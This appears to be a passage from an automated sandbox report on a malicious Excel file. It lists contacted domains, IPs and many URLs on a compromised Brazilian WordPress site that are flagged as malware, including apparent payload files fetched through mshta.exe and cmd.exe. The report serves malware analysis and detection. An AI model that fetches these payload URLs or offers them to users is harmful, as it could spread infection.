      		high
      netdna.bootstrapcdn.com
      		104.18.10.207
      		truefalse
        		high
        www3.l.google.com
        		142.250.181.238
        		truefalse
          		high
          storage.ie6countdown.com
          		unknown
          		unknownfalse
            		unknown
            translate.google.com
            		unknown
            		unknownfalse
              		high

              Contacted URLs

              NameMaliciousAntivirus DetectionReputation
              http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0true
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.pngtrue
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0true
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3true
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8true
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1true
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3true
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1true
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.csstrue
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngtrue
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.csstrue
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20true
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3true
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0true
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2true
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.csstrue
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0true
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0true
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417true
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0true
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0true
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0true
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0true
              • Avira URL Cloud: malware
              		unknown
              http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20true
              • Avira URL Cloud: malware
              		unknown
              https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2false
                		high
                http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngtrue
                • Avira URL Cloud: malware
                		unknown
                http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jstrue
                • Avira URL Cloud: malware
                		unknown
                http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0true
                • Avira URL Cloud: malware
                		unknown
                http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0true
                • Avira URL Cloud: malware
                		unknown
                http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0true
                • Avira URL Cloud: malware
                		unknown

                URLs from Memory and Binaries

                NameSourceMaliciousAntivirus DetectionReputation
                http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0.NET4.0E)9pmshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmptrue
                • Avira URL Cloud: malware
                		unknown
                http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextramshta.exe, 00000008.00000002.1159897683.0000000002CF2000.00000004.00000800.00020000.00000000.sdmptrue
                • Avira URL Cloud: malware
                		unknown
                http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmptrue
                • Avira URL Cloud: malware
                		unknown
                http://adomas.org/javascript-mouse-wheel/jquery.mousewheel.min[1].js.8.drfalse
                • URL Reputation: safe
                		unknown
                http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2umshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmptrue
                • Avira URL Cloud: malware
                		unknown
                http://facextrade.com.br/wp-content/themes/theme51253/favicon.icomshta.exe, 00000008.00000002.1156772140.0000000000210000.00000004.00000020.00020000.00000000.sdmptrue
                • Avira URL Cloud: malware
                		unknown
                https://vimeo.com/groups/:group/videos/:idowl.carousel[1].js.8.drfalse
                  		high
                  http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0http://facextrade.commshta.exe, 00000008.00000002.1159897683.0000000002CF2000.00000004.00000800.00020000.00000000.sdmptrue
                  • Avira URL Cloud: malware
                  		unknown
                  https://csp.withgoogle.com/csp/report-to/apps-themesmshta.exe, 00000008.00000002.1156882992.000000000022D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1156821006.0000000000218000.00000004.00000020.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://youtu.be/:idowl.carousel[1].js.8.drfalse
                    		high
                    http://creativecommons.org/licenses/by/3.0/font-awesome[1].css.8.drfalse
                      		high
                      http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417Dmshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmptrue
                      • Avira URL Cloud: malware
                      		unknown
                      http://www.opensource.org/licenses/mit-license.phpcamera.min[1].js.8.dr, swfobject[1].js.8.dr, jplayer.playlist.min[1].js.8.drfalse
                        		high
                        http://facextrade.com.br/wp-content/themes/theme51253/style.css9.2mshta.exe, 00000008.00000002.1156772140.0000000000210000.00000004.00000020.00020000.00000000.sdmptrue
                        • Avira URL Cloud: malware
                        		unknown
                        http://twitter.com/fontawesome.font-awesome[1].css.8.drfalse
                          		high
                          https://facextrade.com.br/#servicosi(mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmptrue
                          • Avira URL Cloud: malware
                          		unknown
                          http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3ET4.0C;mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmptrue
                          • Avira URL Cloud: malware
                          		unknown
                          http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417(mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmptrue
                          • Avira URL Cloud: malware
                          		unknown
                          https://developers.google.com/maps/documentation/javascript/styling#cloud_toolingmshta.exe, 00000008.00000003.928665402.0000000000371000.00000004.00000020.00020000.00000000.sdmpfalse
                            		high
                            https://github.com/joeldbirch/onHoverIntentmshta.exe, 00000008.00000003.1044618612.0000000003527000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1044913214.0000000003529000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1044835906.0000000003528000.00000004.00000800.00020000.00000000.sdmp, superfish[1].js.8.drfalse
                              		high
                              http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0ET4.0E)mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmptrue
                              • Avira URL Cloud: malware
                              		unknown
                              http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.200mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmptrue
                              • Avira URL Cloud: malware
                              		unknown
                              http://kyruus.commshta.exe, 00000008.00000003.928714046.000000000035E000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.drfalse
                              • URL Reputation: safe
                              		unknown
                              http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.dmshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmptrue
                              • Avira URL Cloud: malware
                              		unknown
                              https://facextrade.com.br/feed/mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmptrue
                              • Avira URL Cloud: malware
                              		unknown
                              http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1&mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.202.1mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmptrue
                                • Avira URL Cloud: malware
                                		unknown
                                https://app.vzaar.com/videos/:idowl.carousel[1].js.8.drfalse
                                  		high
                                  http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0ermshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmptrue
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://info.template-help.com/help/style[1].css.8.drfalse
                                    		high
                                    http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.jsmshta.exe, 00000008.00000002.1159897683.0000000002CF2000.00000004.00000800.00020000.00000000.sdmptrue
                                    • Avira URL Cloud: malware
                                    		unknown
                                    http://netdna.bootstrapcdn.com/font-awesome/3.2.1/font/fontawesome-webfont.eot?v=3.2.1.NET4.0E)mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)Emshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmptrue
                                      • Avira URL Cloud: malware
                                      		unknown
                                      http://facextrade.com.br/wp-includes/certificates/4.txtmshtamshta.exe, 00000008.00000002.1156453982.0000000000190000.00000004.00000020.00020000.00000000.sdmptrue
                                      • Avira URL Cloud: malware
                                      		unknown
                                      http://www.gnu.org/copyleft/gpl.htmljplayer.playlist.min[1].js.8.drfalse
                                        		high
                                        http://facextrade.com.br/wp-includes/certificates/4.txtsmshtacmd.exe, 00000002.00000002.1156416671.000000000023E000.00000004.00000020.00020000.00000000.sdmptrue
                                        • Avira URL Cloud: malware
                                        		unknown
                                        http://github.com/mambows/mobilemenujquery.mobilemenu[1].js.8.drfalse
                                          		high
                                          http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2Pmshta.exe, 00000008.00000002.1158634842.0000000002523000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1082691368.0000000002523000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1053934471.0000000002523000.00000004.00000800.00020000.00000000.sdmptrue
                                          • Avira URL Cloud: malware
                                          		unknown
                                          https://vimeo.com/channels/:channel/:idowl.carousel[1].js.8.drfalse
                                            		high
                                            http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?vermshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmptrue
                                            • Avira URL Cloud: malware
                                            		unknown
                                            http://storage.ie6countdown.com/assets/100/images/banners/warning_bar_0000_us.jpg.0=1.7.2mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0)mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmptrue
                                            • Avira URL Cloud: malware
                                            		unknown
                                            http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssumshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmptrue
                                            • Avira URL Cloud: malware
                                            		unknown
                                            https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEventscripts[1].js.8.drfalse
                                              		high
                                              http://daneden.me/animateanimate-logo[1].css.8.drfalse
                                              • URL Reputation: safe
                                              		unknown
                                              https://twemoji.maxcdn.com/2/wp-exclude-emojimshta.exe, 00000008.00000003.942835080.0000000002528000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1158634842.0000000002523000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1082691368.0000000002523000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1053934471.0000000002523000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3n.js?ver=1mshta.exe, 00000008.00000002.1156821006.0000000000218000.00000004.00000020.00020000.00000000.sdmptrue
                                                • Avira URL Cloud: malware
                                                		unknown
                                                http://jquery.comjquery.mobilemenu[1].js.8.drfalse
                                                  		high
                                                  http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2d.min.cssmshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmptrue
                                                  • Avira URL Cloud: malware
                                                  		unknown
                                                  http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0ymshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmptrue
                                                  • Avira URL Cloud: malware
                                                  		unknown
                                                  http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1s?mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmptrue
                                                  • Avira URL Cloud: malware
                                                  		unknown
                                                  http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0http://facextrade.cmshta.exe, 00000008.00000002.1159897683.0000000002CF2000.00000004.00000800.00020000.00000000.sdmptrue
                                                  • Avira URL Cloud: malware
                                                  		unknown
                                                  http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4USmshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmptrue
                                                  • Avira URL Cloud: malware
                                                  		unknown
                                                  http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.jsmshta.exe, 00000008.00000003.1042454926.0000000003937000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1042358902.0000000003932000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003536200.0000000003932000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1042424278.0000000003935000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003913084.0000000003935000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003888617.0000000003934000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003981850.0000000003937000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1042393396.0000000003934000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1156821006.0000000000218000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1003866960.0000000003933000.00000004.00000800.00020000.00000000.sdmptrue
                                                  • Avira URL Cloud: malware
                                                  		unknown
                                                  http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204172.1mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmptrue
                                                  • Avira URL Cloud: malware
                                                  		unknown
                                                  https://s.w.org/images/core/emoji/11/72x72/https://s.w.org/images/core/emoji/11/svg/NatKL$:mshta.exe, 00000008.00000002.1158634842.0000000002523000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.942841618.000000000252D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1082691368.0000000002523000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1053934471.0000000002523000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://facextrade.com.br/feed/atom/&4mshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmptrue
                                                    • Avira URL Cloud: malware
                                                    		unknown
                                                    http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.csmshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmptrue
                                                    • Avira URL Cloud: malware
                                                    		unknown
                                                    http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20Time.js?ver=1.05mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmptrue
                                                    • Avira URL Cloud: malware
                                                    		unknown
                                                    http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3.NET4.0E)mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmptrue
                                                    • Avira URL Cloud: malware
                                                    		unknown
                                                    http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/fonts/flexslider-icon.eomshta.exe, 00000008.00000002.1156913876.000000000023C000.00000004.00000020.00020000.00000000.sdmptrue
                                                    • Avira URL Cloud: malware
                                                    		unknown
                                                    http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1?ver=2.9.2mshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://www.jplayer.orgjquery.jplayer.min[1].js.8.dr, jplayer.playlist.min[1].js.8.drfalse
                                                        		high
                                                        http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20ive.css0Imshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmptrue
                                                        • Avira URL Cloud: malware
                                                        		unknown
                                                        http://netdna.bootstrapcdn.com/E(mshta.exe, 00000008.00000002.1156999916.0000000000269000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          http://scripts.sil.org/OFLfont-awesome[1].css.8.drfalse
                                                            		high
                                                            http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ame0E)mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmptrue
                                                            • Avira URL Cloud: malware
                                                            		unknown
                                                            https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSEowl.theme.default.min[1].css.8.dr, owl.carousel.min[1].css.8.dr, owl.carousel[1].js.8.drfalse
                                                              		high
                                                              http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.40ET4.0E)mshta.exe, 00000008.00000002.1156957284.0000000000253000.00000004.00000020.00020000.00000000.sdmptrue
                                                              • Avira URL Cloud: malware
                                                              		unknown
                                                              http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0.NET4.0E)Amshta.exe, 00000008.00000002.1156685544.00000000001CE000.00000004.00000020.00020000.00000000.sdmptrue
                                                              • Avira URL Cloud: malware
                                                              		unknown

                                                              World Map of Contacted IPs

                                                              • No. of IPs < 25%
                                                              • 25% < No. of IPs < 50%
                                                              • 50% < No. of IPs < 75%
                                                              • 75% < No. of IPs

                                                              Public IPs

                                                              IPDomainCountryFlagASNASN NameMalicious
                                                              142.250.181.238
                                                              		www3.l.google.comUnited States
                                                              		15169GOOGLEUSfalse
                                                              104.18.10.207
                                                              		netdna.bootstrapcdn.comUnited States
                                                              		13335CLOUDFLARENETUSfalse
                                                              187.45.240.69
                                                              		facextrade.com.brBrazil
                                                              		27715LocawebServicosdeInternetSABRfalse

                                                              Private

                                                              IP
                                                              127.0.0.1

                                                              General Information

                                                              Joe Sandbox Version:35.0.0 Citrine
                                                              Analysis ID:684637
                                                              Start date and time:2022-08-16 10:31:59 +02:00
                                                              Joe Sandbox Product:CloudBasic
                                                              Overall analysis duration:0h 6m 2s
                                                              Hypervisor based Inspection enabled:false
                                                              Report type:full
                                                              Sample file name:SecuriteInfo.com.Exploit.Siggen3.17149.4633.3661 (renamed file extension from 3661 to xls)
                                                              Cookbook file name:defaultwindowsofficecookbook.jbs
                                                              Analysis system description:Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
                                                              Number of analysed new started processes analysed:12
                                                              Number of new started drivers analysed:0
                                                              Number of existing processes analysed:0
                                                              Number of existing drivers analysed:0
                                                              Number of injected processes analysed:0
                                                              Technologies:
                                                              • HCA enabled
                                                              • EGA enabled
                                                              • HDC enabled
                                                              • GSI enabled (VBA)
                                                              • AMSI enabled
                                                              Analysis Mode:default
                                                              Analysis stop reason:Timeout
                                                              Detection:MAL
                                                              Classification:mal92.troj.expl.evad.winXLS@11/87@4/4
                                                              EGA Information:Failed
                                                              HDC Information:Failed
                                                              HCA Information:
                                                              • Successful, ratio: 100%
                                                              • Number of executed functions: 51
                                                              • Number of non-executed functions: 0
                                                              Cookbook Comments:
                                                              • Adjust boot time
                                                              • Enable AMSI
                                                              • Found Word or Excel or PowerPoint or XPS Viewer
                                                              • Attach to Office via COM
                                                              • Scroll down
                                                              • Close Viewer

                                                              Warnings

                                                              • Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe, svchost.exe
                                                              • Excluded IPs from analysis (whitelisted): 216.58.215.234, 172.217.16.138, 172.217.16.195
                                                              • Excluded domains from analysis (whitelisted): maps.googleapis.com, fonts.googleapis.com, fonts.gstatic.com
                                                              • Execution Graph export aborted for target mshta.exe, PID 2364 because it is empty
                                                              • Not all processes where analyzed, report is missing behavior information
                                                              • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                              • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                                              • Report size getting too big, too many NtOpenKeyEx calls found.
                                                              • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                              • Report size getting too big, too many NtQueryValueKey calls found.
                                                              • VT rate limit hit for: SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls

                                                              Simulations

                                                              Behavior and APIs

                                                              TimeTypeDescription
                                                              10:33:23API Interceptor3x Sleep call for process: taskkill.exe modified
                                                              10:33:24API Interceptor737x Sleep call for process: mshta.exe modified

                                                              Joe Sandbox View / Context

                                                              IPs

                                                              MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                              104.18.10.207SecuriteInfo.com.Exploit.Siggen3.17149.21631.xlsGet hashmaliciousBrowse
                                                              • netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsGet hashmaliciousBrowse
                                                              • netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
                                                              187.45.240.69SecuriteInfo.com.Exploit.Siggen3.17232.14069.xlsGet hashmaliciousBrowse
                                                              • facextrade.com.br/wp-imcludes/as/444.txt
                                                              SecuriteInfo.com.Exploit.Siggen3.17232.19740.xlsGet hashmaliciousBrowse
                                                              • facextrade.com.br/wp-imcludes/as/444.txt
                                                              SecuriteInfo.com.Exploit.Siggen3.17232.13662.xlsGet hashmaliciousBrowse
                                                              • facextrade.com.br/wp-imcludes/as/444.txt
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.21631.xlsGet hashmaliciousBrowse
                                                              • facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png
                                                              SecuriteInfo.com.Exploit.Siggen3.17232.10970.xlsGet hashmaliciousBrowse
                                                              • facextrade.com.br/wp-imcludes/as/444.txt
                                                              SecuriteInfo.com.Exploit.Siggen3.17232.7754.xlsGet hashmaliciousBrowse
                                                              • facextrade.com.br/wp-imcludes/as/444.txt
                                                              SecuriteInfo.com.Exploit.Siggen3.17232.10473.xlsGet hashmaliciousBrowse
                                                              • facextrade.com.br/wp-imcludes/as/444.txt
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.32408.xlsGet hashmaliciousBrowse
                                                              • facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0
                                                              SecuriteInfo.com.Exploit.Siggen3.17232.17500.xlsGet hashmaliciousBrowse
                                                              • facextrade.com.br/wp-imcludes/as/444.txt
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsGet hashmaliciousBrowse
                                                              • facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20

                                                              Domains

                                                              MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                              gstaticadssl.l.google.com00187679526.xlsxGet hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.21631.xlsGet hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.32408.xlsGet hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsGet hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              https://ipfs.io/ipfs/QmfAndQD4wG6xZpoY4WWL48A9H5qKFYHayWXGx5CvY9zqW?filename=index.html#info@discoversaudi.saGet hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              https://1drv.ms/o/s!BNQ8gxErh5UyqzXqmlklq3e6FqQy?e=zWDj8VlDB0yYeUjfLHMDHg&at=9Get hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              http://asweptomnd.bluwma.ml/5690394.htmlGet hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              http://0gomovies.ruGet hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              https://issuu.com/file.pdf_17kb/docs/faxmail_delivery_hs0087g?fr=sY2E1MzUyODMyOTYGet hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              https://cvent.me/Z9n2bO?i=nytmP1uA8EeMVcihhIIg-w&locale=en-USGet hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              http://mybuilder.ssdpage.com/free/acc15/mail/?=65311341Get hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              https://docs.google.com/presentation/d/e/2PACX-1vSU_FEiyu-gmac-VPaEaXqUbNKvs22dLZy1uvbXhZYw8a3d3_sqDueNGVBLuw4IT9UbtShAJmxz4Pt-/pub?start=false&loop=false&delayms=3000Get hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              http://popcorntime-upd.xyz/?app_id=T4PSEC&hid=0c5247dc1a126f9bb3277f86bfa78ebd&ver=6.2.1.17&os=WIN060200Get hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              https://www.dropbox.com/scl/fi/jx7ou1xapexhaml2u2f55/You-have-been-invited-you-to-view-the-folder-PO48993_49110_.paper?dl=0&rlkey=3uyxpr3q1wftt7a6pywj57z0oGet hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              https://www.chiesiusa.com/Get hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              https://www.dropbox.com/scl/fi/ce7lhi038equlfr2hnnvt/You-have-been-invited-you-to-view-the-Folder-P-O48993-49110_.paper?dl=0&rlkey=nb8bb6dpzeowc0u20pb42tgn0Get hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              https://indd.adobe.com/view/a60e2026-537f-4644-bc3f-be7f72888ea0Get hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              http://jaxonmenzies.shop/fwCWzQej/Ew16602183349305681JF1090EZH1153uGi2105WZA143BKzt555Un/pdqxghifej.pngGet hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              https://docy.me/metamorphosis1Get hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              https://madalonlaw.squarespace.com/Get hashmaliciousBrowse
                                                              • 172.217.16.195
                                                              facextrade.com.brSecuriteInfo.com.Exploit.Siggen3.17232.14069.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
                                                              SecuriteInfo.com.Exploit.Siggen3.17232.19740.xlsGet hashmaliciousBrowse
                                                              • 187.45.240.69
